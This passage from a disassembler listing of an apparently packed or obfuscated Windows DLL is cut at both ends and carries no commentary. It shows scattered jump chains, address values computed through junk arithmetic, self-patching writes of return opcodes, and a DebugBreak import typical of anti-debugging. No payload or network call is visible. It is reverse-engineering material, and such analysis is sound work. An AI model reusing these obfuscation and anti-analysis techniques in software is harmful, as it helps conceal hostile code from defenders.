an.kk9rg:1001A78Fp ; an.kk9rg:1001AB75j xchg esi, [esp+0] pop esi jnz loc_1001A4E8 retn sub_10013BAD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10013BB8 proc near ; CODE XREF: sub_1001D37F:loc_1001D663p ; FUNCTION CHUNK AT 100131C4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10013977 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015154 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100195CC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001A1D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001ADE1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B1C3 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001C7CB SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001D029 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D065 SIZE 00000006 BYTES mov eax, large fs:0 loc_10013BBF: ; CODE XREF: sub_10013BB8+15A4j ; sub_10019293+Cj jb loc_10015154 loc_10013BC5: ; CODE XREF: sub_10016167-16D4j call sub_10019293 loc_10013BCA: ; CODE XREF: sub_10015066+8B4Cj jmp loc_1001ADE1 sub_10013BB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_10013BCF: ; CODE XREF: sub_100181E1:loc_100181ECj jmp loc_1001352C ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- dword_10013BD4 dd 2 dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h) dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h) dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h) dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2) dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2) dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D81C loc_10013FD4: ; CODE XREF: sub_1001D81C-6537j jmp loc_1001D883 ; END OF FUNCTION CHUNK FOR sub_1001D81C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_10013FD9: ; CODE XREF: sub_10018C4D-5A24j jmp loc_1001A5AF ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- dw 3A3Ch dword_10013FE0 dd 7C859B72h ; resolved to->KERNEL32.DebugBreak ; sub_1001DD8B+Ew ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10013FE4: ; CODE XREF: sub_1001C6B0-207Ej jmp loc_10016427 ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10013FE9: ; CODE XREF: sub_10016D66-1DF7j jmp loc_1001624B ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- jmp dword ptr [eax+eax+0] ; DATA XREF: sub_100180C2:loc_10019307o ; sub_100180C2:loc_10019758o ... ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_10019D80 loc_10013FF4: ; CODE XREF: sub_10019D80+Aj jmp loc_1001BC45 ; END OF FUNCTION CHUNK FOR sub_10019D80 ; --------------------------------------------------------------------------- db 0ECh, 8Ah, 0EDh dword_10013FFC dd 7C800000h ; sub_100180C2:loc_1001820Ar ... ; --------------------------------------------------------------------------- locret_10014000: ; CODE XREF: an.kk9rg:loc_100180F5j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10014001: ; CODE XREF: sub_10019E2E-67EAj jmp loc_100183F7 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_10014006: ; CODE XREF: sub_1001D201+1Bj xor edx, edx push edx push eax ; END OF FUNCTION CHUNK FOR sub_1001D201 ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001400A: ; CODE XREF: sub_10016D66-2CE8j mov eax, [ebp-18h] add eax, eax call sub_1001620D loc_10014014: ; CODE XREF: an.kk9rg:10014E5Aj jmp loc_1001D8FD ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- db 2Ah, 89h, 0CFh dword_1001401C dd 0 ; an.kk9rg:1001AE23r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001997C loc_10014020: ; CODE XREF: sub_1001997C-742j jmp loc_10018BFB ; END OF FUNCTION CHUNK FOR sub_1001997C ; =============== S U B R O U T I N E ======================================= sub_10014025 proc near ; CODE XREF: sub_10014025+5j ; DATA XREF: vyridizn:off_10002008o call sub_10014030 jmp ds:off_10002008 sub_10014025 endp ; =============== S U B R O U T I N E ======================================= sub_10014030 proc near ; CODE XREF: sub_10014025p ; sub_100183D9:loc_1001CEF9j ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001452D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014E90 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001D2E7 SIZE 0000000D BYTES pop edx jz loc_1001D2E7 mov eax, [esp-4+arg_0] jmp loc_10014E90 sub_10014030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001403F: ; CODE XREF: an.kk9rg:1001A14Aj and edi, 0E02CE18Ah add edi, 8FFD1D0Ch push edx push 92231FD0h pop edx add edx, ds:100000C3h jmp loc_1001C111 ; --------------------------------------------------------------------------- loc_1001405D: ; DATA XREF: sub_10015D9E:loc_100190A7o mov eax, [esp] call sub_10014B3A ; START OF FUNCTION CHUNK FOR sub_10019A95 loc_10014065: ; CODE XREF: sub_10019A95+29B3j push offset sub_10016734 jmp nullsub_102 ; END OF FUNCTION CHUNK FOR sub_10019A95 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001406F proc near ; CODE XREF: sub_10015353+4C33j retn sub_1001406F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E56 loc_10014070: ; CODE XREF: sub_10018E56+9j jmp locret_1001A0AC ; END OF FUNCTION CHUNK FOR sub_10018E56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_10014075: ; CODE XREF: sub_100132E5+2983j jmp nullsub_74 ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001407A: ; CODE XREF: sub_10016D66:loc_1001D34Ej xor edx, edx push edx push eax jmp loc_1001400A ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_10014083: ; CODE XREF: an.kk9rg:1001D62Dj call sub_10018628 ; START OF FUNCTION CHUNK FOR sub_1001498A loc_10014088: ; CODE XREF: sub_1001498A+4D5Cj jmp loc_1001B40A ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017811 loc_1001408D: ; CODE XREF: sub_10017811+10j jmp locret_1001355A ; END OF FUNCTION CHUNK FOR sub_10017811 ; =============== S U B R O U T I N E ======================================= sub_10014092 proc near ; CODE XREF: an.kk9rg:10014E85j ; sub_1001836B+8p ; FUNCTION CHUNK AT 10015C52 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10015C52 sub_10014092 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_100140A5 proc near ; CODE XREF: sub_1001C28F:loc_10019DBBp ; FUNCTION CHUNK AT 1001CCD9 SIZE 00000005 BYTES push offset sub_1001CA40 jmp loc_1001CCD9 sub_100140A5 endp ; =============== S U B R O U T I N E ======================================= sub_100140AF proc near ; CODE XREF: sub_1001AA74j ; DATA XREF: sub_1001AA64+6o pop ecx locret_100140B0: ; CODE XREF: an.kk9rg:10016B1Bj retn sub_100140AF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_100140B1: ; CODE XREF: an.kk9rg:10019971j ; sub_1001679F+39CAj rol eax, 0Fh push ebp mov ebp, eax jmp loc_10013AF2 ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- loc_100140BC: ; CODE XREF: an.kk9rg:100175D9j popf test edx, 465CD5C9h jmp loc_10016673 ; --------------------------------------------------------------------------- loc_100140C8: ; CODE XREF: an.kk9rg:loc_1001AA75j rol eax, 16h jmp loc_10016437 ; --------------------------------------------------------------------------- jo loc_1001672F jmp sub_1001B0B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_100140DB: ; CODE XREF: sub_1001B4CC:loc_10016770j mov ecx, edi pop edi loc_100140DE: ; CODE XREF: an.kk9rg:100173E3j sub ecx, 0D4D36481h xor ecx, 9E466BB4h add ecx, ebp add ecx, 771DBE44h mov [ecx], eax jmp loc_10018022 ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_100140FA: ; CODE XREF: sub_10018AB1+3F2Ej jz loc_1001CDDB shr edi, 9 loc_10014103: ; CODE XREF: sub_10018AB1:loc_1001BBEBj call sub_100180C2 mov edx, 0C231F698h jmp loc_1001C15D ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_10014112: ; CODE XREF: sub_1001D88D+1j cdq xchg ebp, [eax] test esi, 48F926A0h jmp loc_10017C89 ; END OF FUNCTION CHUNK FOR sub_1001D88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10014120: ; CODE XREF: sub_1001ABFD:loc_1001B9FEj jnz loc_100194F6 jmp loc_1001DF1F ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001412B: ; CODE XREF: sub_1001492C+C01j popf add ecx, eax jmp loc_1001A571 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_10014133: ; CODE XREF: sub_100178C9:loc_10019679j add edx, 6F035E02h add edx, ebp add edx, 9CE666F1h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_1001C4A4 jmp loc_10016FC5 ; END OF FUNCTION CHUNK FOR sub_100178C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100163BA loc_10014152: ; CODE XREF: sub_100163BA:loc_10014184j or edx, 0D988AB6h ; END OF FUNCTION CHUNK FOR sub_100163BA ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10014158: ; CODE XREF: sub_10019409:loc_100132DDj xor edx, 0FBFEFE05h add edx, 0A0C974F2h push eax jmp loc_1001BC6E ; --------------------------------------------------------------------------- loc_1001416A: ; CODE XREF: sub_10019409+2648j not ebp popf loc_1001416D: ; CODE XREF: sub_10019409:loc_10019EE9j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100132E2 jmp loc_1001A973 ; END OF FUNCTION CHUNK FOR sub_10019409 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3CA loc_1001417F: ; CODE XREF: sub_1001B3CA-FEDj jmp loc_1001A7EE ; END OF FUNCTION CHUNK FOR sub_1001B3CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100163BA loc_10014184: ; CODE XREF: sub_100163BA+10j jmp loc_10014152 ; END OF FUNCTION CHUNK FOR sub_100163BA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014189 proc near ; CODE XREF: an.kk9rg:1001BB18p ; sub_10015DB9:loc_1001D709j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100160BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016256 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10017F93 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001805B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B620 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 1001CB8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D6CF SIZE 0000000D BYTES push ebp mov ebp, esp push ecx mov esp, ebp xchg eax, [esp+4+var_4] jmp loc_10016256 sub_10014189 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10014197: ; CODE XREF: sub_1001B096:loc_10018B0Aj jz loc_1001C4A4 jmp loc_1001702E ; END OF FUNCTION CHUNK FOR sub_1001B096 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100141A3: ; CODE XREF: an.kk9rg:100199D8j jmp loc_10014F3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A51D loc_100141A8: ; CODE XREF: sub_1001A51D+7j mov [ebp-4], eax call sub_10018352 loc_100141B0: ; CODE XREF: an.kk9rg:1001DD67j mov edi, 4AF0763Eh ; END OF FUNCTION CHUNK FOR sub_1001A51D ; =============== S U B R O U T I N E ======================================= sub_100141B5 proc near ; CODE XREF: sub_1001BABF+Ap xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h jmp loc_10016075 sub_100141B5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_100141C1 proc near ; CODE XREF: an.kk9rg:10019A08j ; DATA XREF: vyridizn:off_10002038o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10019842 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019C45 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D894 SIZE 0000001A BYTES push edi jmp loc_10019842 sub_100141C1 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_100141C8: ; CODE XREF: sub_10015131+4D54j jmp loc_1001DA19 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_100141CD: ; CODE XREF: sub_1001C26A:loc_10019223j jz loc_10013875 jmp loc_1001A732 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100141D8: ; CODE XREF: sub_10013389:loc_1001CB97j jz loc_10019C7A jmp loc_100130E4 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100141E3 proc near ; CODE XREF: an.kk9rg:10013604j ; sub_1001D201-3E6p ; FUNCTION CHUNK AT 10019C4F SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx dec dword ptr [ebp-1Ch] jnz loc_10019F76 jmp loc_10019C4F sub_100141E3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100141F5 proc near ; CODE XREF: sub_1001498A+4p ; sub_100194EA-856p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001587C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A9FA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C997 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 1001DB5A SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h jmp loc_1001DB5A sub_100141F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10014200: ; CODE XREF: sub_10019409:loc_10013766j jz loc_100154EC jmp loc_1001CDBD ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001420B: ; CODE XREF: sub_1001B5A3-2D98j jz loc_100151C6 jmp loc_100132F1 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- xor edx, esi jmp loc_100152B3 ; --------------------------------------------------------------------------- loc_1001421D: ; DATA XREF: sub_100193F2:loc_1001CAE7o jmp loc_1001C94C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10014222: ; CODE XREF: sub_100193F2-1172j ; sub_100188EE:loc_1001D2CAj xchg eax, [esp+0] mov ecx, eax pop eax xchg esi, [esp-4+arg_0] mov ebp, esi pop esi retn ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001422F: ; CODE XREF: sub_100142E8+16Fj jmp loc_1001B540 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10014234: ; CODE XREF: sub_10017BF9+2B4Dj mov ebx, [ebp+0] ror eax, 5 loc_1001423A: ; CODE XREF: sub_10017BF9:loc_1001D481j push 85A1889Ch pop eax rol eax, 1 add eax, 3A26385Bh jmp loc_1001A769 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_1001424D: ; CODE XREF: sub_100145ED:loc_10016E5Fj jnz loc_100165B2 jmp loc_10019569 ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10014258: ; CODE XREF: sub_1001C28F:loc_10018D15j pushf push 4CDF0D34h pop eax or eax, 4489EE81h sub eax, 0BF1DA8B7h add eax, 0F8F4A428h or eax, 7F9C4DBBh add eax, 104250E2h jmp loc_1001C3F2 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10014282: ; CODE XREF: sub_1001C2D8-7D3Bj xchg eax, edx cmp ecx, esi jmp loc_10015E68 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001428B: ; CODE XREF: sub_100174F4:loc_1001969Fj sub eax, 39AAE0B4h push offset loc_100191DD jmp nullsub_43 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- loc_1001429B: ; CODE XREF: an.kk9rg:1001CDA8j jnp loc_10019220 not esi jmp loc_10015D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100142A8: ; CODE XREF: sub_1001A97E:loc_100166D8j jl loc_10018F4D loc_100142AE: ; CODE XREF: sub_100194EA+2165j jmp nullsub_77 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- xchg edx, esi jmp loc_10018F4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100142BA: ; CODE XREF: sub_10013389+3400j ror edx, 0Bh popf loc_100142BE: ; CODE XREF: sub_10013389:loc_1001347Ej push 5D4435C9h pop eax add eax, 6D2CC3A2h jmp loc_1001CEBD ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100142CF proc near ; DATA XREF: sub_10015190+46E0o ; FUNCTION CHUNK AT 10014BC8 SIZE 0000000A BYTES xor [ebp-0Ah], al inc dword ptr [ebp-8] inc dword ptr [ebp-4] jmp loc_10014BC8 sub_100142CF endp ; =============== S U B R O U T I N E ======================================= sub_100142DD proc near ; CODE XREF: sub_1001558A:loc_10014BC0p mov eax, 22h retn sub_100142DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100142E3: ; CODE XREF: sub_1001A97E-29A3j jmp loc_1001B510 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_100142E8 proc near ; CODE XREF: sub_100180C2-1D12p ; sub_10016FA0+4p ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013734 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001422F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014354 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10014448 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10015B2A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10017A6E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 10018828 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100188BA SIZE 00000004 BYTES ; FUNCTION CHUNK AT 10019158 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019631 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019A0E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A6E1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001ABBF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B540 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B76C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D6F4 SIZE 0000000E BYTES call sub_1001DC8F loc_100142ED: ; CODE XREF: an.kk9rg:10018BF6j jmp loc_10019158 sub_100142E8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_100142F2: ; CODE XREF: an.kk9rg:10015940j rol eax, 10h ; =============== S U B R O U T I N E ======================================= sub_100142F5 proc near ; CODE XREF: sub_100146AF+Ep xchg esi, [esp+0] pop esi lea eax, [ebp-34h] push offset loc_1001BB13 jmp nullsub_205 sub_100142F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018ABA loc_10014306: ; CODE XREF: sub_10018ABA:loc_1001B9F9j jnz locret_10014311 loc_1001430C: ; CODE XREF: sub_10018ABA+6j call sub_10014317 locret_10014311: ; CODE XREF: sub_10018ABA:loc_10014306j retn ; END OF FUNCTION CHUNK FOR sub_10018ABA ; --------------------------------------------------------------------------- loc_10014312: ; CODE XREF: an.kk9rg:10018128j jmp loc_1001AFF9 ; =============== S U B R O U T I N E ======================================= sub_10014317 proc near ; CODE XREF: sub_10018ABA:loc_1001430Cp var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001885C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001B4B4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001C6DD SIZE 0000000A BYTES push ebx jmp loc_1001885C sub_10014317 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001431D: ; CODE XREF: sub_10013389+3E51j add edi, esi and esi, 2E30A390h loc_10014325: ; CODE XREF: sub_10013389:loc_1001D5ECj call sub_10019C87 loc_1001432A: ; CODE XREF: sub_100189D7-1032j jmp loc_1001DE81 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001357E loc_1001432F: ; CODE XREF: sub_1001357E+15j jmp nullsub_161 ; END OF FUNCTION CHUNK FOR sub_1001357E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_10014334: ; CODE XREF: sub_1001D461-67F5j jnz loc_1001BB62 jmp loc_10017294 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001433F: ; CODE XREF: sub_1001C535+3BEj jnz loc_1001B8D7 loc_10014345: ; CODE XREF: sub_10019473:loc_10014EE6j ; sub_10013389+1D53j ... call sub_1001B8D3 loc_1001434A: ; CODE XREF: an.kk9rg:1001A4BAj jmp loc_10017437 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- loc_1001434F: ; CODE XREF: an.kk9rg:100198CCj jmp loc_10014FEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10014354: ; CODE XREF: sub_100142E8:loc_10017A6Ej inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_1001BCAC[eax*4] mov [ebp-8], eax ; END OF FUNCTION CHUNK FOR sub_100142E8 ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10014364: ; CODE XREF: sub_10015B5D:loc_1001C484j cmp dword ptr [ebp-8], 0 jz loc_10013161 loc_1001436E: ; CODE XREF: sub_10013150+Bj ; sub_100142E8+37A6j jnz loc_1001D86E jmp loc_10017866 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- loc_10014379: ; CODE XREF: an.kk9rg:100135C9j shl ecx, 1 sub esi, eax ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001437D: ; CODE XREF: sub_10018066:loc_100135B0j xor eax, 30A948B7h add eax, ebp add eax, 3AAF5C3Ch mov eax, [eax] popf mov al, [eax] jmp loc_10014443 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B81 loc_10014395: ; CODE XREF: sub_10016B81+Cj pop eax add eax, ds:100000C7h rol eax, 3 xor eax, 9B2E9632h add eax, ebp add eax, 7E3BE4Eh call sub_1001985B ; END OF FUNCTION CHUNK FOR sub_10016B81 ; START OF FUNCTION CHUNK FOR sub_1001D81C loc_100143B2: ; CODE XREF: sub_1001D81C+Cj jmp loc_100172C9 ; END OF FUNCTION CHUNK FOR sub_1001D81C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FD0 loc_100143B7: ; CODE XREF: sub_1001893F-1C02j ; sub_10016FD0:loc_100172FEj add edi, ebx loc_100143B9: ; CODE XREF: an.kk9rg:loc_1001600Fj push esi push 0EA60F43h pop esi add esi, 9686F5B2h or esi, 2BA4F6AAh sub esi, 0F6861093h jmp loc_10014EF1 ; END OF FUNCTION CHUNK FOR sub_10016FD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_100143D7: ; CODE XREF: sub_1001C185:loc_100159BBj jnz loc_100162AD jmp loc_1001B11A ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- shr eax, 19h jmp sub_1001DD1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_100143EA: ; CODE XREF: sub_1001C6B0:loc_100168EAj jz loc_1001C484 jmp loc_1001475E ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; =============== S U B R O U T I N E ======================================= sub_100143F5 proc near ; DATA XREF: sub_10013389:loc_10013550o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001661B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 100171E7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10019FCE SIZE 00000005 BYTES lea eax, loc_1001661B mov byte ptr [eax], 0C3h jmp loc_10019FCE sub_100143F5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10014403: ; CODE XREF: an.kk9rg:10014408j ; DATA XREF: vyridizn:off_10002020o call sub_100188A0 jmp ds:off_10002020 ; --------------------------------------------------------------------------- loc_1001440E: ; CODE XREF: an.kk9rg:1001A11Ej jmp loc_10015CCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10014413: ; CODE XREF: sub_100188EE-215Aj jmp loc_10017850 ; END OF FUNCTION CHUNK FOR sub_100188EE ; =============== S U B R O U T I N E ======================================= sub_10014418 proc near ; DATA XREF: sub_10014CCE:loc_1001CCA7o ; FUNCTION CHUNK AT 1001DEA3 SIZE 00000005 BYTES mov [ebp-8], eax mov eax, [ebp+8] push offset sub_1001D4C9 jmp loc_1001DEA3 sub_10014418 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10014428: ; CODE XREF: sub_1001ABFD:loc_1001AC9Bj push esi adc ebx, ebp cmp esi, ebp jmp loc_10018EF8 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_10018F97 ; --------------------------------------------------------------------------- loc_10014439: ; CODE XREF: an.kk9rg:loc_10016E7Bj sub al, 99h mov edx, [ebp-4] call sub_100189D7 ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10014443: ; CODE XREF: sub_10018066-3CD6j jmp loc_100139F6 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10014448: ; CODE XREF: sub_100142E8+748Aj ror 